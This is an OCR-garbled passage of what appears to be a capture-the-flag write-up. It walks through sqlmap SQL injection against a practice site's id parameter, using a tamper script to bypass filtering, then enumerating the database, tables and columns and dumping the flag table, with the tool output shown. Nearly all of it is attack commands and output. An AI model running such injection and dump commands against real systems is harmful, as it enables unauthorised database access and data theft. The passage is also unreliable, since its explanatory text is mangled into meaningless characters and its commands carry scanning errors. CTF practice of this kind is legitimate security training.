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21§ A sqlmap#E4TiEA

2.1 python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent --
tamper=space2hash.py

—current-db  E&E 4RI EIEEL K, REweb1

seb server operating system: Windows
seb application technology: Apache 2.4.18,. PHP 5.2.17
lbback—-end DBMS: MySQL >= 5.8

urrent database: 'webl’

--current-db --tables & 24§l £4 & 44 PR A H0E FE LA 0%

seb server operating system: Windows
seb application technology: Apache 2.4.18,. PHP 5.2.17
hack—end DBMS: MySQL >= 5.8

urrent database:
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2.3 python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent --
tamper=space2hash.py

--current-db --tables --columns % Zlflagk B A {Mlagl

Database: webl
Table: flag
[2 columns ]

char{(38>
int{4>
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2.4 python sqglmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-
agent --tamper=space2hash.py --current-db --tables --columns flag --dump
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